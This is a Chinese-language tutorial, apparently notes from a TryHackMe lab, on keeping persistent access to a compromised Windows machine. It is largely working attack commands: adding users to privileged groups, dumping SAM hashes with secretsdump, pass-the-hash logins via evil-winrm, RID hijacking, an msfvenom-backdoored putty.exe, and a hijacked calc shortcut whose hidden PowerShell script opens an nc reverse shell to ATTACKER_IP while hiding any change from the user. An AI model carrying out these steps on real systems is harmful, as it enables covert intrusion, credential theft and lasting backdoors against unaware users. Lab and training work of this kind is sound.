Windows本地权限维持
篡改非特权账户
这里要提到两比较特殊的组
1.备份操作员组(Backup Operators)
2.远程连接组(Remote Management Users)
分配组成员身份
使非特权用户获得管理权限的直接方法是使其成为 Administrators 组的一部分。
C:\> net localgroup administrators thmuser0 /add
如果这看起来太可疑,则可以使用“备份操作员”组。此组中的用户将没有管理权限,但将允许读取/写入系统上的任何文件或注册表项,忽略任何配置的 DACL。
C:\> net localgroup "Backup Operators" thmuser1 /add
由于这是一个非特权帐户,因此除非我们将其添加到远程桌面用户 (RDP) 或远程管理用户 (WinRM) 组,否则它无法 RDP 或 WinRM 返回到计算机。
C:\> net localgroup "Remote Management Users" thmuser1 /add
UAC 实现的功能之一 LocalAccountTokenFilterPolicy 在远程登录时剥夺任何本地帐户的管理权限(就是在每一次执行时询问窗口,在命令行无法直接开见所有需要屏蔽掉)
首先,让我们建立 WinRM 连接,并检查是否为用户启用了备份操作员组:
evil-winrm -i 10.10.73.241 -u thmuser1 -p Password321
然后盗取注册表内的账户密码,使用
python3.9 /opt/impacket/examples/secretsdump.py -sam sam.bak -system system.bak LOCAL
获取到账户和密码hash
执行 Pass-the-Hash 以使用管理员权限连接到受害者计算机:
user@AttackBox$ evil-winrm -i 10.10.73.241 -u Administrator -H 1cea1d7e8899f69e89088c4cb4bbdaa3
对于“备份操作员”组,默认情况下,它分配了以下两个权限:
SeBackupPrivilege:用户可以读取系统中的任何文件,忽略任何 DACL(每个软件自己的ACL)。
SeRestorePrivilege:用户可以在系统中写入任何文件,而忽略任何 DACL。
我们可以将此类权限分配给任何用户,而不受其组成员身份的影响。为此,我们可以使用命令。首先,我们将当前配置导出到一个临时文件:secedit
secedit /export /cfg config.inf
我们打开文件并将用户添加到配置中有关 SeBackupPrivilege 和 SeRestorePrivilege 的行中:
最后,我们将 .inf 文件转换为 .sdb 文件,然后用于将配置加载回系统中:
`secedit /import /cfg config.inf /db config.sdb
secedit /configure /db config.sdb /cfg config.inf`
现在,您应该拥有与任何备份操作员具有同等权限的用户。用户仍然无法通过 WinRM 登录系统,因此让我们对此采取一些措施。我们不会将用户添加到远程管理用户组,而是更改与 WinRM 服务关联的安全描述符,以允许 thmuser2 进行连接。将安全描述符视为 ACL,但应用于其他系统设施。
若要打开 WinRM 安全描述符的配置窗口,可以在 Powershell 中使用以下命令(为此需要使用 GUI 会话):
Set-PSSessionConfiguration -Name Microsoft.PowerShell -showSecurityDescriptorUI
这将打开一个窗口,您可以在其中添加 thmuser2 并为其分配连接到 WinRM 的完全权限:
请注意,为了让该用户完全使用给定的权限,您必须更改LocalAccountTokenFilterPolicy注册表项,但我们已经这样做了,以获得上一个标志。
这将打开一个窗口,您可以在其中添加 thmuser2 并为其分配连接到 WinRM 的完全权限:
创建用户时,将为其分配一个名为“相对 ID (RID)”的标识符。RID 只是一个数字标识符,表示整个系统中的用户。当用户登录时,LSASS 进程将从 SAM 注册表配置单元获取其 RID,并创建与该 RID 关联的访问令牌。如果我们可以篡改注册表值,则可以通过将相同的 RID 关联到两个帐户,使 Windows 将管理员访问令牌分配给非特权用户。
在任何 Windows 系统中,默认管理员帐户的 RID = 500,普通用户通常具有 RID >= 1000。
C:\> wmic useraccount get name,sid
Name SID
Administrator S-1-5-21-1966530601-3185510712-10604624-500
DefaultAccount S-1-5-21-1966530601-3185510712-10604624-503
Guest S-1-5-21-1966530601-3185510712-10604624-501
thmuser1 S-1-5-21-1966530601-3185510712-10604624-1008
thmuser2 S-1-5-21-1966530601-3185510712-10604624-1009
thmuser3 S-1-5-21-1966530601-3185510712-10604624-1010
SAM 仅限于 SYSTEM 帐户,因此即使是管理员也无法编辑它。要将 Regedit 作为 SYSTEM 运行,我们将使用 psexec,在您的机器中可用:
C:\tools\pstools> PsExec64.exe -i -s regedit
从 Regedit,我们将转到机器中每个用户都有密钥的位置。由于我们要修改 thmuser3,因此我们需要搜索一个 RID 为十六进制 (1010 = 0x3F2) 的密钥。在相应的键下,将有一个名为 F 的值,该值将用户的有效 RID 保存在位置 0x30:
请注意,RID 是使用 little-endian 表示法存储的,因此其字节显示为相反。
现在,我们将这两个字节替换为十六进制 (500 = 0x01F4) 的管理员 RID,并在字节 (F401) 之间切换:
后门文件
建立持久性的另一种方法是篡改我们知道用户经常与之交互的一些文件。通过对此类文件进行一些修改,我们可以植入后门,每当用户访问它们时,这些后门就会被执行。由于我们不想创建任何可能破坏我们的警报,因此我们更改的文件必须按预期继续为用户工作。
虽然有很多机会可以植入后门,但我们将检查最常用的后门。
可执行文件
如果您发现桌面周围有任何可执行文件,则用户可能会经常使用它。假设我们找到了一条通往 PuTTY 的捷径。如果我们检查快捷方式的属性,我们可以看到它(通常)指向 .从那时起,我们可以将可执行文件下载到攻击者的机器上,并对其进行修改以运行我们想要的任何有效负载。
您可以使用 轻松地在任何.exe文件中植入您喜欢的有效负载。二进制文件仍将照常工作,但通过在二进制文件中添加额外的线程来静默执行额外的有效负载。要创建后门putty.exe,我们可以使用以下命令:
msfvenom -a x64 --platform windows -x putty.exe -k -p windows/x64/shell_reverse_tcp lhost=ATTACKER_IP lport=4444 -b "\x00" -f exe -o puttyX.exe
生成的puttyX.exe将在用户不注意的情况下执行reverse_tcp计量器有效载荷。虽然这种方法足以建立持久性,但让我们看看其他更偷偷摸摸的技术。
快捷方式文件
如果我们不想更改可执行文件,我们可以随时篡改快捷方式文件本身。我们可以将其更改为指向一个脚本,而不是直接指向预期的可执行文件,该脚本将运行后门,然后正常执行通常的程序。
对于此任务,让我们检查管理员桌面上 calc 的快捷方式。如果我们右键单击它并转到属性,我们将看到它指向的位置:
在劫持快捷方式的目标之前,让我们在或任何其他偷偷摸摸的位置创建一个简单的 Powershell 脚本。该脚本将执行反向 shell,然后从快捷方式属性的原始位置运行calc.exe:
Start-Process -NoNewWindow "c:\tools\nc64.exe" "-e cmd.exe ATTACKER_IP 4445"
C:\Windows\System32\calc.exe
最后,我们将更改快捷方式以指向我们的脚本。请注意,这样做时可能会自动调整快捷方式的图标。请务必将图标指向原始可执行文件,以便不会向用户显示任何可见的更改。我们还希望在隐藏窗口上运行脚本,为此,我们将向 Powershell 添加该选项。快捷方式的最终目标是
powershell.exe -WindowStyle hidden C:\Windows\System32\backdoor.ps1
让我们启动一个 nc 侦听器,以在攻击者的机器上接收我们的反向 shell:
user@AttackBox$ nc -lvp 4445
如果双击该快捷方式,则应获得与攻击者计算机的连接。同时,用户将获得一个符合他们期望的计算器。您可能会注意到命令提示符在屏幕上闪烁并立即消失。希望普通用户不会太介意这一点。
暂无评论内容